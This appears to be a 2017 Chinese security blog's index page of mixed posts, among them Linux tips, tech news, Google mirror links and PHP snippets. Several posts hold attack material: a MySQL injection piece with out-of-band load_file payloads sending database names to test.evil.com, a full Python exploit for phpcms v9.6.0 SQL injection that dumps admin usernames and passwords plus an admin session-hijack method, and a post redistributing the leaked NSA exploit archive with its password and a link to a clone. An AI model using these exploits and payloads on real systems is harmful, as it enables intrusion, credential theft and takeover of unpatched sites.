去掉linux文件中^M符号方法汇总 技术文章

在linux下,不可避免的会用VIM打开一些windows下编辑过的文本文件。我们会发现文件的每行结尾都会有一个^M符号,这是因为 DOS下的编辑器和Linux编辑器对文件行末的回车符处理不一致, 
对于回车符的定义: 
windows:0D0A 
unix\linux: 0A 
MAC: 0D 
比较快捷的去除这些符号的方法有这么几种: 
(1)是用VI的命令: 
    使用vi打开文本文件 
    vi dos.txt 
    命令模式下输入 
    :set fileformat=unix 
  :w 
(2) VI下使用正则表达式替换 
   g/\^M/s/\^M// 
    或者 
   %s/^M//g 
(3)使用sed 工具 
    sed ’s/^M//’ filename > tmp_filename 
(4)既然window下的回车符多了‘\r’,那么当然通过删除‘\r’ ,也可以实现: 
    tr -d '\r' 
(5)最后一个方法是本人最常用的方法,个人觉得最方便 
    在终端下敲命令: 
    $ dos2unix filename 
    直接转换成unix格式,就OK了!~  
ps:需要安装dos2unix.以centos为例:
sudo yum install dos2unix -y
其他平台参照相应命令安装即可食用.

标签: 分享 Linux

admin 发布于  2017-5-11 22:34 

MySQL注入绕过新思路 渗透测试

哈哈哈哈嘿嘿嘿嘿 今天带来MySQL的新姿势,姿势对不对,你们指教-_-

1.带内/带外

传统的Insert、Update是带内注入方式,直接从返回中提取到有用信息,例如时间盲注获取数据;带外注入则是间接的从外部服务器中提取数据,例如使用DNSLog获取数据。

2.字符串处理

先看看mysql对于字符串的处理,可以看到一个字符串是等于0的。0~1.jpg

进一步验证,将字符串和数字加起来。

1~1.jpg

再看看将字符串和MySQL支持的最大值加起来的结果。

2~1.jpg

可以看到,字符串返回的是DOUBLE数字,而将一个大值和一个DOUBLE值相加时,将会返回IEEE标准的DOUBLE精确值。

这时候我们可以通过或操作获取到最大的无符号BIGINT值。

3~1.jpg

3.字符串数字互转

到这里,我们可以想到一种注入方式,使用数字来传递,需要时再通过解码的方式显示字符串。

例如:

字符串 -> 数字

4~1.jpg

数字 -> 字符串

5~1.jpg

但是这里有个问题,前面提到MySQL的最大值,如果超过将不能成功解码,因此一个字符串的最大长度应该是8个字节,例如:

6~1.jpg

所以,我们可以使用mysql的substr()函数进行切割,例如:

7~1.jpg

4.编码注入

1)、获取表

select conv(hex(substr((select table_name frominformation_schema.tables where table_schema=schema() limit 0,1),1 + (n‐1) * 8,8*n)), 16, 10);8.jpg


2、获取列

select conv(hex(substr((select column_name frominformation_schema.columns where table_name='table name' limit 0,1),1 + (n‐1) * 8,8*n)), 16, 10);


3、Insert语句

insert into admin values ('admin', 'password');

insert into admin values ('admin','password'|conv(hex(substr(user(),1 + (n‐1) * 8, 8 * n)),16, 10);

10~1.jpg


5.使用DNSLog进行带外注入

9.jpg

select load_file(concat('\\\\',(selectdatabase()),'.test.evil.com\\foo'))

select load_file(concat('\\\\',(selectunhex(conv(8245931987826405219, 10, 16))),'.test.evil.com\\foo'))

11~1.jpg

6.想想绕过防护吧,皮卡丘.哈哈

1)、盲注使用DNS解析进行高效测试

2)、使用MySQL数字与字符串编码关系绕过相关防护


admin 发布于  2017-5-11 09:42 

你还认为什么是没有后门的呢?英特尔芯片管用十年! 业界新闻

英特尔周一发布消息称,安全研究人员Maksim Malyutin发现一款关键安全漏洞“CVE-2017-5689”,并于三月报告了该漏洞。其影响了使用英特尔AMT、ISM或SBT的企业PC和设备。要获取英特尔补丁关闭该漏洞,机器制造商必须进行固件升级。

而这个关键安全漏洞存在数百万的英特尔工作站和服务器芯片中长达9年之久,该漏洞潜在被利用可执行远程控制操作,并通过间谍软件感染系统。

Chipzilla公司指出,具体而言,Intel的主动管理技术(AMT)、标准可管理(ISM)和小型企业技术(SBT)固件版本6到11.6均存在该漏洞。这个漏洞允许无特权的攻击者控制这些产品提供的可管理性功能。

这就意味着,黑客可以使用AMT的功能,登录进入易受攻击的计算机硬件,秘密篡改机器,并安装几乎不会被检测到的恶意软件等。这种影响可以是跨网络的,因为AMT可以直接访问计算机的网络硬件。

近十年来,这些不安全的管理功能存在于多种不同的英特尔芯片组中,从2008年的Nehalem Core i7到今年的Kaby Lake Core部件。至关重要的是,这个漏洞存在于机器芯片的核心,操作系统、应用程序和任何反病毒软件都无从察觉。

而且,这个漏洞只能通过固件升级彻底解决,并且存在于数百万个芯片中,意味着进入全球计算机的后门。

漏洞的影响范围

这个易受攻击的AMT服务是英特尔vPro处理器功能套件的一部分。如果系统上存在vPro,并启用了该服务,并且配置了AMT,那么网络上未经验证的黑客便可以访问并劫持计算机的AMT控制。如果未配置AMT,则无需担心。

英特尔认为,该漏洞影响了企业和服务器固件,因为它们均存在并启用了vPro和AMT,并非针对普通用户使用的系统。

如果用户使用的机器启用了vPro和AMT功能,用户将面临风险。值得注意的是虽然现代的苹果Macs使用的是英特尔芯片,但并未使用AMT软件,因此Macs是安全的,用户可以放心使用。

但消费者电脑未受到影响,因为目前为止英特尔尚未发现对此漏洞的利用案例。

英特尔表示:

  • 无特权的网络攻击者可以获取英特尔可管理性SKU的系统特权:AMT和ISM。

  • 无特权的本地攻击者可以提供可管理性功能获取英特尔可管理SKU上的无特权网络或本地系统特权:AMT、ISM和SBT.

很显然,英特尔SBT不易受到通过网络执行的特权升级攻击。受影响的固件版本和处理器如下,使用AMT、ISM或SBT的客户应留心。

  • 第一代Core系列:6.2.61.3535

  • 第二代Core系列:7.1.91.3272

  • 第三代Core系列:8.1.71.3608

  • 第四代Core系列:9.1.41.3024和9.5.61.3012

  • 第五代Core系列:10.0.55.3000

  • 第六代Core系列:11.0.25.3001

  • 第七代Core系列:11.6.27.3264

AMT是什么?

AMT是一款可通过设备的有线以太网接口网络端口16992访问的带外管理工具:它将系统的完全控制暴露到网络,允许IT人员和其它系统管理员远程重启、修复并轻微调整服务器和工作站。它能够提供一个虚拟串行控制台和(如果安装的是正确的驱动)远程桌面访问权限。

在获取权限之前应该要求提供密码,但是上述提到的漏洞意味着攻击者能够入侵硬件的控制面板。即使已经为系统的AMT访问权限设置了防火墙,但在用户网络上的攻击者或恶意软件仍然能够利用这个漏洞进入AMT管理的工作站和服务器并进一步攻陷企业。

AMT是一款运行在因特尔管理引擎(ME)上的软件,它是一种被因特尔以各种方式在十多年嵌入其芯片集中的技术。它从本质上讲是计算机中的第二个计算机,能够完全访问网络、周边、内存、存储和处理器。有意思的是,这个引擎是ARC CPU core驱动的,后者有16位和32位混合架构而且跟用于Super Nintendo游戏如Star Fox 的Super FX芯片紧密相关。


因特尔ME的详情在过去几年中也有被欺骗的案例。Arc core运行在来自SPI闪存的ThreadX RTOS。它能直接访问以太网控制器。目前它被内置在Platform Controller Hub中,后者是一个因特尔迷你芯片,包含多种硬件控制器并跟母板上的主要处理器连接在一起。

ME是因特尔不愿谈论过多的黑匣子,尽管Chipzilla网站上对此由部分介绍。它会让人们担忧隐私和安全:没有人很透彻地了解这个引擎到底是干什么的,是否被真正禁用了。

在一些因特尔芯片家族中,可通过擦除母板闪存的部分内容来杀死ME。

多年来,工程师和信息安全专家都在告警称,由于所有的代码都存在漏洞,因特尔AMT软件中至少存在一个可被远程利用的漏洞,而ME正在运行它,因此必须找到一种解决方案:买一台根本没有AMT的芯片集,而不是仅仅禁用或断开连接。

找到这个漏洞就像是从微软Windows或Red Hat企业版Linux中找到一个硬连线的、无法删除的、且远程可访问的管理员账户,而用户名和密码是“hackme”。除了这个因特尔缺陷存在于芯片集中、用户无法处理之外,必须等待计算机厂商推出补丁。


admin 发布于  2017-5-3 12:04 

案例一波Google搜索的镜像站-通过抓取日志分析得到的 免费资源

案例一波Google搜索的镜像站-通过抓取日志分析得到的,请叫我活雷锋.


要想解决棘手难题,google 访问肯定少不了。由于日常工作原因,便收集了一些能正常访问 google 的网址,你只要将这些 url 直接在浏览器上进行访问,便能轻松访问google。下面列出这些 Google 镜像站,下面的 url 会持续更新,也感谢提供这些 url 的网友们。【这几天整理一下站点信息,发现越来越多的站点已经失效,这些镜像站点不仅可能被 GFW,而且每个月还要支出服务器费用,要想生存下来实属不易。下面这些镜像站点有的不得已放上了 ad,也是可以理解的,大家科学上网的时候,也尽量支持一下这些镜像站的站长】。我也会继续收集一些可以用的镜像站点,下面的站点不管是原版还是变种,本质都是google搜索,下面附上这些可行的:

https://gufen.ga/ (无广告,原guso.ml,ggso.ga,guge.ga)
https://g.amirror.tk/ (无广告,体验良好)
https://gg.qing.li/  (无广告,体验良好)
https://so.moyoo.net/ (无广告,体验良好)
https://www.xichuan.pub/ (无广告,体验良好)
https://c.ggkai.men/  (有广告,体验一般)
http://test.house8013.cn/  (无广告,体验良好)
http://g.suconghou.cn (无广告,体验良好)
http://g.neoapi.com/ (无广告,体验良好)
https://google.gg-g.org/ (无广告,体验良好)
http://google.suanfazu.com/ (整合搜索,非原版)
https://kuaiguge.info (无广告,体验良好)
https://g.zmirrordemo.com/ (第一次访问需验证,部分地区被qiang)
https://google.speeder.cf/  (第一次访问需验证)
https://www.aiguso.ga/ (已被qiang)
https://freedo.ga/ (已被qiang)
https://gg.cellmean.com (无广告,体验良好)
谷歌学术
https://xues.glgoo.com/
https://c.ggkai.men/scholar
http://g.suconghou.cn/scholar
http://a.a.88dr.com/
http://www.tmeishi.com/xs/
https://www.xichuan.pub/scholar
https://a.ggkai.men/…/scholar.google.com/
https://google.speeder.cf/…scholar.google.com/
https://xue.glgoo.com
变种网页:
http://www.tmeishi.com/ (无广告,搜索体验良好)
http://www.ibying.com/ (无广告,搜索体验良好)
http://search.twcc.com/  (无广告,体验良好)
https://www.tlss.space/ (无广告,体验良好)
http://googlebridge.com/ (无广告,体验良好)
http://www.yegoogle.com/ (无广告,体验良好)
https://www.sov5.com/ (无广告,体验良好)
http://www.gycc.com/ (无广告,体验良好)
http://www.gfsoso.me/ (有广告,体验一般)
http://www.17soso.cn/ (无广告,搜索体验良好)
http://www.aifago.com/ (无广告,搜索体验良好)
https://www.dcrss.net (无广告,搜索体验良好)
https://www.dcrss.com/ (google学术和网页)
http://www.daysou.com/ (有广告,体验一般)
http://www.lstsrw.org/ (有广告,体验一般)

收集几个维基镜像:

https://wc.yooooo.us

https://g.zmirrordemo.com/wiki

https://www.g00gle.pw/wiki

https://wikipedia.kfd.me



希望上面的这些可以帮到你们科学上网,提高效率.国内的搜索真的...全是广告!!!!


admin 发布于  2017-5-1 15:37 

phpcms_v9.6.0_sql注入与exp 渗透测试

phpcms_v9.6.0_sql注入分析

可疑的函数

localhost/phpcms/modules/attachment/attachments.php文件的第241GET提交src变量带上了safe_relace函数,现在我们跟入这个该死的过滤函数看看它到底在搞什么鬼....*/

2.过滤函数剖析和绕过

localhost/phpcms/libs/functions/global.func.php文件的63行开始可以看到此处将传入的%27和%2527都进行删除处理也就是还没传入数据库前就已经被该死的程序吃了,但是在67行看到他还吃了*这样我们就有办法了也就是传入%*27程序吃掉星号后%27就会被传入。*/

3.src变量到底去哪了

/*这里不做截图请回到第一步的截图查看,在241行代码src传入arr数组后在243行被json_encode函数加密为json格式后传入json_str数组,然后在244行代码又将json加密为cookie。在这里我做个大胆的假设src存在注入那么我们要传入参数:src=%*27 updatexml(1,concat(1,(user())),1)%23;那么我们传入的参数将会被json加密后最终成为了:{src:%*27 updatexml(1,concat(1,(user())),1)%23};再然后就是cookie加密这里不做计算cookie加密值需要的同学自己echo,假设暂且到这,它的最终这些动作都被赋值为swfupload_json函数。到此src变量故事以及完结请看下一章。*/

down.php的decode成全了我

/*在localhost/phpcms/modules/content/down.php的第14行代码将a_k变量进行了decode操作这样子我们把刚刚在src进行加密的SQL传入a_k他就会进行解密还原回json,17行 将json字符串解析成变量 -> parse_str 以 & 区分,将字符串解析成3个变量最后传入SQL为:{“aid":1,"src":"&id=%27 updatexml(1,concat(1,(user)),1)#&m=1&f=haha&modelid=2&catid=7&”,”filename”:””};此处可以看到之前%*27的*没了因为已经被他妈的狗比安全函数吃了*。最后我们看在第26行代码将id传入SQL字段id既然这样那就OK了我们尝试还原。*/

phpcms_v9.6.0_sql注入还原

1.访问/index.php?m=wap&c=index&a=init&siteid=1获取一个cookie值传入该死的src那块操作否则会没有身份

2.把这个傻逼cookie的值复制下来以POST传入userid_flash变量访问/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id=%*27%20and%20updatexml%281%2Cconcat%281%2C%28user%28%29%29%29%2C1%29%23%26m%3D1%26f%3Dhaha%26modelid%3D2%26catid%3D7%26不要问我URL编码里面是什么东西我会告诉你那是SQL的Payload

3.上一步我们已经获取到了通过json在通过cookie加密的SQL了因为他返回的cookie就是已经加密的SQLPayload现在我们传入到a_k变量看看到底发生了什么?

网上这个文档传的很快

作者我也不知道是谁

大家都把版权改成自己的

我也是醉了

有知情人士可留言~给人家一个版权

下面是EXP:

import requests,sys,urllib

url = sys.argv[1]

print 'Phpcms v9.6.0 SQLi Exploit Code By Luan'

sqli_prefix = '%*27an*d%20'

sqli_info = 'e*xp(~(se*lect%*2af*rom(se*lect co*ncat(0x6c75616e24,us*er(),0x3a,ver*sion(),0x6c75616e24))x))'

sqli_password1 = 'e*xp(~(se*lect%*2afro*m(sel*ect co*ncat(0x6c75616e24,username,0x3a,password,0x3a,encrypt,0x6c75616e24) fr*om '

sqli_password2 = '_admin li*mit 0,1)x))'

sqli_padding = '%23%26m%3D1%26f%3Dwobushou%26modelid%3D2%26catid%3D6'

setp1 = url + '/index.php?m=wap&a=index&siteid=1'

cookies = {}

for c in requests.get(setp1).cookies:

if c.name[-7:] == '_siteid':

cookie_head = c.name[:6]

cookies[cookie_head+'_userid'] = c.value

cookies[c.name] = c.value

print '[+] Get Cookie : ' + str(cookies)

setp2 = url + '/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id=' + sqli_prefix + urllib.quote_plus(sqli_info, safe='qwertyuiopasdfghjklzxcvbnm*') + sqli_padding

for c in requests.get(setp2,cookies=cookies).cookies:

if c.name[-9:] == '_att_json':

sqli_payload = c.value

print '[+] Get SQLi Payload : ' + sqli_payload

setp3 = url + '/index.php?m=content&c=down&a_k=' + sqli_payload

html = requests.get(setp3,cookies=cookies).content

print '[+] Get SQLi Output : ' + html.split('luan$')[1]

table_prefix = html[html.find('_download_data')-2:html.find(    '_download_data')]

print '[+] Get Table Prefix : ' + table_prefix

setp2 = url + '/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id=' + sqli_prefix + urllib.quote_plus(sqli_password1, safe='qwertyuiopasdfghjklzxcvbnm*') + table_prefix + urllib.quote_plus(sqli_password2, safe='qwertyuiopasdfghjklzxcvbnm*') + sqli_padding

for c in requests.get(setp2,cookies=cookies).cookies:

if c.name[-9:] == '_att_json':

sqli_payload = c.value

print '[+] Get SQLi Payload : ' + sqli_payload

setp3 = url + '/index.php?m=content&c=down&a_k=' + sqli_payload

html = requests.get(setp3,cookies=cookies).content

print '[+] Get SQLi Output : ' + html.split('luan$')[1]

exp也是别人分享给我的

看起来作者应该是luan

测试地址:

122.9.16.209


成功截图:

不过呢,众所周知

phpcms的密文特别难解密

所以有个配合使用的方法

通过sql注入漏洞读取数据库信息

但是不能破解密码的情况下

可以绕过后台验证

phpcms数据库中表v9_session

保存着管理员登录的信息

而且字段sessionid保存着就是

已经登录管理后台的PHPSESSID

可以通过sql注入读取到这个值

并写入到自己的浏览器中。

直接访问后台地址:

/index.php?m=admin&c=index&a=public_menu_left

将数据库中的sessionid信息带入!

相关文章网上也有

最后,我还是觉得这个漏洞挺鸡肋的

至于哪里鸡肋请看官细细体会

还有几个更牛逼的漏洞也许

过几天就会有人放出来了

反正我不做第一个吃螃蟹的人了

怕被打死~

原文地址:https://zhuanlan.zhihu.com/p/26263513

PS:很多政府机关/事业单位都是phpcms,我批量检测里面有很多都中招了,赶紧升级吧!阿西吧...据说二月份就出来了...


admin 发布于  2017-4-24 21:30 

NSA 方程式组织又被泄了一批好东西,主要是windows的exploit 安全工具

点击查看原图


Decrypted content of odd.tar.xz.gpg, swift.tar.xz.gpg and windows.tar.xz.gpg

Downloaded from https://yadi.sk/d/NJqzpqo_3GxZA4 Original post from the #ShadowBrokers https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation

  • windows: contains Windows exploits, implants and payloads
  • swift: contains operational notes from banking attacks
  • oddjob: docs related to the ODDJOB backdoor

相关链接: https://yadi.sk/d/NJqzpqo_3GxZA4  解压密码: Reeeeeeeeeeeeeee

这次的文件有三个目录,分别为“Windows”、“Swift” 和 “OddJob”,包含一堆令人震撼的黑客工具(我们挑几个重要的列举如下):

EXPLODINGCAN 是 IIS 6.0 远程漏洞利用工具

ETERNALROMANCE 是 SMB1 的重量级利用,可以攻击开放了 445 端口的 Windows XP, 2003, Vista, 7, Windows 8, 2008, 2008 R2 并提升至系统权限。

除此之外 ERRATICGOPHER 、ETERNALBLUE 、ETERNALSYNERGY 、ETERNALCHAMPION 、EDUCATEDSCHOLAR、 EMERALDTHREAD 等都是 SMB 漏洞利用程序,可以攻击开放了 445 端口的 Windows 机器。

ESTEEMAUDIT 是 RDP 服务的远程漏洞利用工具,可以攻击开放了3389 端口的 Windows 机器。

FUZZBUNCH 是一个类似 MetaSploit 的漏洞利用平台。

ODDJOB 是无法被杀毒软件检测的 Rootkit 利用工具。

ECLIPSEDWING 是 Windows 服务器的远程漏洞利用工具。

ESKIMOROLL 是 Kerberos 的漏洞利用攻击,可以攻击 Windows 2000/2003/2008/2008 R2 的域控制器。


命名为 Windows 文件夹中的黑客工具适用于较早版本的 WindowsNT、windows 2000、XP、windows 7、windows 8等等。



下面的是我克隆的一份.以作备用,话说,国内的反应速度都好慢....关于exploit的威力,自行测试,反正我试了几个,很满意!哈哈.

https://github.com/Mrxn-code/EQGRP_Lost_in_Translation  (不懂的就不要来唧唧歪歪的问这问那,懂的人自然知道)


admin 发布于  2017-4-15 09:25 

Discuz 加密解密函数 authcode PHP

<?php
/**
 * $string 明文或密文
 * $operation 加密ENCODE或解密DECODE
 * $key 密钥
 * $expiry 密钥有效期
 */ 
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
    // 动态密匙长度,相同的明文会生成不同密文就是依靠动态密匙
    // 加入随机密钥,可以令密文无任何规律,即便是原文和密钥完全相同,加密结果也会每次不同,增大破解难度。
    // 取值越大,密文变动规律越大,密文变化 = 16 的 $ckey_length 次方
    // 当此值为 0 时,则不产生随机密钥
    $ckey_length = 4;

    // 密匙
    // $GLOBALS['discuz_auth_key'] 这里可以根据自己的需要修改
    $key = md5($key ? $key : $GLOBALS['discuz_auth_key']); 

    // 密匙a会参与加解密
    $keya = md5(substr($key, 0, 16));
    // 密匙b会用来做数据完整性验证
    $keyb = md5(substr($key, 16, 16));
    // 密匙c用于变化生成的密文
    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
    // 参与运算的密匙
    $cryptkey = $keya.md5($keya.$keyc);
    $key_length = strlen($cryptkey);
    // 明文,前10位用来保存时间戳,解密时验证数据有效性,10到26位用来保存$keyb(密匙b),解密时会通过这个密匙验证数据完整性
    // 如果是解码的话,会从第$ckey_length位开始,因为密文前$ckey_length位保存 动态密匙,以保证解密正确
    $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
    $string_length = strlen($string);
    $result = '';
    $box = range(0, 255);
    $rndkey = array();
    // 产生密匙簿
    for($i = 0; $i <= 255; $i++) {
        $rndkey[$i] = ord($cryptkey[$i % $key_length]);
    }
    // 用固定的算法,打乱密匙簿,增加随机性,好像很复杂,实际上并不会增加密文的强度
    for($j = $i = 0; $i < 256; $i++) {
        $j = ($j + $box[$i] + $rndkey[$i]) % 256;
        $tmp = $box[$i];
        $box[$i] = $box[$j];
        $box[$j] = $tmp;
    }
    // 核心加解密部分
    for($a = $j = $i = 0; $i < $string_length; $i++) {
        $a = ($a + 1) % 256;
        $j = ($j + $box[$a]) % 256;
        $tmp = $box[$a];
        $box[$a] = $box[$j];
        $box[$j] = $tmp;
        // 从密匙簿得出密匙进行异或,再转成字符
        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
    }
    if($operation == 'DECODE') {
        // substr($result, 0, 10) == 0 验证数据有效性
        // substr($result, 0, 10) - time() > 0 验证数据有效性
        // substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16) 验证数据完整性
        // 验证数据有效性,请看未加密明文的格式
        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
            return substr($result, 26);
        } else {
            return '';
        }
    } else {
        // 把动态密匙保存在密文里,这也是为什么同样的明文,生产不同密文后能解密的原因
        // 因为加密后的密文可能是一些特殊字符,复制过程可能会丢失,所以用base64编码
        return $keyc.str_replace('=', '', base64_encode($result));
    }
}

$a = "mrxn.net";
$b = authcode($a, "ENCODE", "abc123");
echo $b."<br/>";
echo authcode($b, "DECODE", "abc123");
?>

运行效果如下:

4582HxrlipjHXFJ8fCB42AzZN6N0A/S07AFgev8swj1a6Qy/fxhuJFM

mrxn.net

注:因学习需要,转载挡笔记.文章来源于网络.


admin 发布于  2017-4-14 11:21 

HP的$_SERVER['HTTP_HOST']获取服务器地址功能详解 PHP

uchome的index文件中的二级域名功能判断,使用了php的$_SERVER['HTTP_HOST'],开始对这个不是很了解,所以百度了一下,发现一篇帖子有点意思,转发过来做个记录。

在php中,我们一般通过$_SERVER['HTTP_HOST']来活得URL中网站的域名或者ip地址。

php手册中的解释如下:

“HTTP_HOST”

当前请求的 Host: 头信息的内容。

一般来说,这样子不会遇到什么问题,在一些常见的php框架中,如PFC3和FLEA也是基于该预定义变量。

然而最近在做的一个项目,程序移交到客户手里测试时,竟然发现程序的跳转总是会出错。

最后找出原因:$_SERVER['HTTP_HOST']在客户的环境里,取得的值总是程序所在的服务器在其局域网内的ip值。

究其原因,是因为,客户的公司通过一台服务器连接至因特网,而我们的程序所在的服务器,是通过域名映射出来的,也就是中间有个“代理”的过程。因此$_SERVER['HTTP_HOST']在这样的环境里,取得的值总是程序所在的服务器在其局域网内的ip值。

最后查了不少资料,在symfony框架里面,找到替代的实现方法:

$host = $_SERVER['HTTP_HOST'];

替换成:

$host = isset($_SERVER['HTTP_X_FORWARDED_HOST']) ? $_SERVER['HTTP_X_FORWARDED_HOST'] : (isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : '');

即可。

注:我刚好遇到这个问题,所以搜索找到了这篇文章,故转载以当作笔记.

原文地址:https://www.oschina.net/question/36370_14769


admin 发布于  2017-4-12 19:11 

代码审校工程师系列之-PHP漏洞发掘及代码防御 PHP

教程来自一位想我求助解压密码的读者,我大致看了一下是2011年左右的,具体的是谁出的教程不知道,不过,作为学习PHP代码审计的还是不错。特地在此分享一下,课程目录如下:

解压密码合集.txt
Seay-Svn源代码泄露漏洞利用工具.rar
新浪web安全培训.ppt
Seay源代码审计系统2.0.rar
第3课sql注入及防护(2).rar
第1课课程环境搭建.rar
第2课sql注入及防护.rar
第7课文件包含漏洞及代码防御.rar
第10课反射型XSS漏洞和防御.rar
第5课命令执行漏洞及代码防御.rar
第17课打造自己的php防御代码.rar
第6课命令执行漏洞实践防御.rar
第11课存储型XSS漏洞和实践.rar
第16课php函数漏洞及代码防御.rar
第9课CSRF漏洞和防御.rar
第8课文件包含漏洞实战挖掘.rar
第13课php文件上传漏洞和代码防御2.rar
第4课sql注入及防护(3).rar
第12课php文件上传漏洞和代码防御.rar
第18课php安全配置加固.rar
第14课php文件上传漏洞代码分析及防御实践.rar
第15课通过7种方式分析php获取webshell漏洞.rar
下载链接:点我传送,如果失效,请联系我更改。


admin 发布于  2017-4-7 15:59 

勒索?没钱!要命不?不给! 业界新闻

宅客频道谢幺最近发现了一个神奇的网站 ,看名字就感觉牛逼轰轰的:

No more Ransom( 不再付赎金)

No more Ransom ,不再付赎金!没钱!“要钱没有,要命一条” 。

打开首页,依然调性十足,上来就直入主题:“小伙,需要帮你解锁被黑客加密勒索的数据吗?”

0.jpg


上来就问我需不需要服务, 我当然不能示弱,“NO”,不需要!

然后静静等待接下来发生的事情……结果出现了一条网络勒索的预防建议(注:我看不懂英文所以用机器翻译成中文了),感觉还挺贴心的。

1.jpg



如果点击“Yes” (需要服务), 一个“密码警长”(Crypto Sheriff)的头像出现了,他会让你提交勒索者加密的文件以及勒索信息,然后为你搜寻目前网上的解密方案,如果有的话,会免费提供方案下载。

2.jpg



警长的意思似乎是:

“别怕,告诉我是谁,警长罩着你!”


除了提供被勒索的解决方案,这个网站还提供了数十款勒索软件的解密工具和使用指南,最关键是完全免费。

3.jpg


其实,这位“密码警长”的背后真的是警察在做支撑,还是国际刑警。


这个名为“No more ransom ”的项目是一年前由荷兰警署、欧洲国际刑警出资,联合卡巴斯基、因特尔安全两家安全机构共同建立的国际“反勒索”平台。


据外媒报道的数据,这个平台成立至今,已经有超过10,000 名来自世界各地的受害者来到这个网站寻求帮助,并成功在没花一分钱的情况下完成数据解密。


平台还充分发挥了众筹的精神,上面的大部分勒索软件解密工具都是由来自世界各地的安全机构和个人开发者免费提供的。


项目刚推出几个月,就汇聚了非常多的解密工具。2016年底,又有 15个新的勒索解密工具加入了“反勒索”豪华午餐,为勒索受害者带来了新的希望。


提供这些解密工具的分别有(好人好事必须点个名):


Avast、Bitdefender、CheckPoint、Trend Micro、Eleven Paths、Emsisoft、Kaspersky Lab


在网站的“合作伙伴”一栏,有非常多的组织LOGO,宅客频道算了算,差不多已经有一百家组织加入其中,有的提供解密工具,有的提供资源和技术支持。


这表明防御网络勒索已经成为了一个全球性的问题,需要一起并肩作战。


除了免费的工具提供和技术服务,网站还有一个勒索问答,从网络勒索的历史一直讲到如何防范和解决勒索问题。

4.jpg



但是,以上内容全部没有中文版本(上面的中文全是翻译的)。


根据有关数据,目前该网站大多数访问者来自 俄罗斯、荷兰、美国、意大利、德国。


最初,该网站主要提供英语、法语、意大利语、葡萄牙语和俄语,而现在已经支持了更多语言,包括芬兰语、德语、日语、韩语、斯洛文尼亚语、西班牙语等。


所以目测未来还会支持更多语言,为世界上更多的人提供反勒索服务。(也不知什么时候支持中文)


目前这一组织也已得到了来自澳大利亚、比利时、以色列、韩国、俄罗斯、乌克兰等多个国家执法机构和国际刑警的支持。


各国执法机构出动,国际刑警支持,看来这反网络勒索的决心还是很大的。不过看到下面这些新闻,相信也能理解其中的原因了。

5.jpg


这个项目的主页:

https://www.nomoreransom.org/

原文为微信公众号-宅客频道 




admin 发布于  2017-4-7 15:20